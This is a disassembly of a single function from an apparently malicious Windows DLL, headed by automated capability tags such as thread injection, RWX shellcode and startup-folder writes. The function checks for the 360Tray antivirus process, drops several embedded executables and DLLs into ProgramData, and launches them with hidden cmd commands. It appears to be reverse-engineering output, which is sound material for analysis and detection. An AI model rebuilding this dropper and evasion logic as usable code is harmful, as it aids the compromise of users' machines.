Function at 0x180008910
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Get common file path
Get startup folder
Inject thread
Query or enumerate registry value
Spawn thread to rwx shellcode
Write file on windows
Write file to startup folder

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
lea rbp, [rsp - 0x1460]
mov eax, 0x1560
call fcn.1800133c0
sub rsp, rax
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18000899f
xor edx, edx
lea rcx, [rsp + 0x64]
mov r8d, 0x234
call fcn.1800151f0
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180008996
nop dword [rax + rax]
lea rdx, str.360Tray.exe
lea rcx, [rbp - 0x74]
call fcn.18001f2bc
mov rcx, rbx
test eax, eax
je 0x1800089b9
lea rdx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180008970
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.180007890
mov rbx, qword [rsp + 0x1580]
add rsp, 0x1560
pop rbp
jmp fcn.1800076b0
mov qword [rsp + 0x1578], rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x60]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea r8, [0x18004a228]
lea rdx, str._sin64.exe
lea rcx, [rbp + 0xa10]
call fcn.18000d640
xor edi, edi
lea rcx, [rbp + 0xa10]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], edi
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
lea r8d, [rdi + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea r9, [rbp + 0x1470]
mov qword [rsp + 0x20], rdi
mov rcx, rax
lea rdx, [0x1800a5e50]
mov r8d, 0x1073b
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [0x18004a228]
lea rdx, str._s_aa.dll
lea rcx, [rbp + 0xc20]
call fcn.18000d640
mov qword [rsp + 0x30], rdi
lea r8d, [rdi + 1]
mov dword [rsp + 0x28], edi
lea rcx, [rbp + 0xc20]
xor r9d, r9d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea r9, [rbp + 0x1470]
mov qword [rsp + 0x20], rdi
mov rcx, rax
lea rdx, [0x1803449f0]
mov r8d, 0x1ec04
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [0x18004a228]
lea rdx, str._s_bb.dll
lea rcx, [rbp + 0xe30]
call fcn.18000d640
mov qword [rsp + 0x30], rdi
lea r8d, [rdi + 1]
mov dword [rsp + 0x28], edi
lea rcx, [rbp + 0xe30]
xor r9d, r9d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea r9, [rbp + 0x1470]
mov qword [rsp + 0x20], rdi
mov rcx, rax
lea rdx, [0x180363600]
mov r8d, 0x3454c
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [0x18004a228]
lea rdx, str._sin.exe
lea rcx, [rbp + 0x3b0]
call fcn.18000d640
lea r8, [0x18004a228]
lea rdx, str._sMSNDetourDLL_X64.dll
lea rcx, [rbp + 0x800]
call fcn.18000d640
lea r8, [0x18004a228]
lea rdx, str._s_rundll.dll
lea rcx, [rbp + 0x1a0]
call fcn.18000d640
mov rbx, 0xffffffffffffffff
mov qword [rsp + 0x40], rdi
mov r8, rbx
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], 7
lea rax, [rbp + 0x3b0]
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], di
jne 0x180008bb0
lea rdx, [rbp + 0x3b0]
lea rcx, [rsp + 0x40]
call fcn.180002580
lea rdx, [rsp + 0x40]
lea rcx, str.C:in64.exe
call fcn.1800072b0
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x180008c1e
mov rcx, qword [rsp + 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008c19
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008e5c
call fcn.180012b28
mov qword [rsp + 0x40], rdi
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x50], rdi
mov r8, rbx
mov qword [rsp + 0x58], 7
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], di
jne 0x180008c40
lea rdx, [rbp + 0x1a0]
lea rcx, [rsp + 0x40]
call fcn.180002580
lea rdx, [rsp + 0x40]
lea rcx, str.C:_bb.dll
call fcn.1800072b0
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x180008cae
mov rcx, qword [rsp + 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008ca9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008e62
call fcn.180012b28
mov qword [rsp + 0x40], rdi
lea rax, [rbp + 0x800]
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], 7
nop dword [rax + rax]
inc rbx
cmp word [rax + rbx*2], di
jne 0x180008cd0
mov r8, rbx
lea rdx, [rbp + 0x800]
lea rcx, [rsp + 0x40]
call fcn.180002580
lea rdx, [rsp + 0x40]
lea rcx, str.C:_aa.dll
call fcn.1800072b0
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x180008d40
mov rcx, qword [rsp + 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008d3b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008e56
call fcn.180012b28
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov dword [rbp + 0x5c0], 0x238
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rbp + 0x5c0]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180008dab
nop word [rax + rax]
lea rdx, str.360tray.exe
lea rcx, [rbp + 0x5ec]
call fcn.18001f2bc
test eax, eax
je 0x180008dab
lea rdx, [rbp + 0x5c0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180008d80
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.180008880
lea r9, [rbp + 0x1a0]
mov dword [rsp + 0x20], eax
lea r8, [rbp + 0x3b0]
mov ebx, eax
lea rdx, str.cmd__c_start__min__s__s__d_1
lea rcx, [rbp + 0x1040]
call fcn.18000d640
lea rdx, [rbp + 0x1040]
mov ecx, ebx
call fcn.180008740
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180006070
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, ebx
lea rdx, str.cmd__c_start__min_C:ProgramDatain.exe_C:ProgramData_aa.dll__d_1
lea rcx, [rbp + 0x1250]
call fcn.18000d640
lea rdx, [rbp + 0x1250]
mov ecx, ebx
call fcn.180008740
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180006990
mov rdi, qword [rsp + 0x1578]
mov rbx, qword [rsp + 0x1580]
add rsp, 0x1560
pop rbp
ret
call fcn.180019ca4
int3
call fcn.180019ca4
int3
call fcn.180019ca4
int3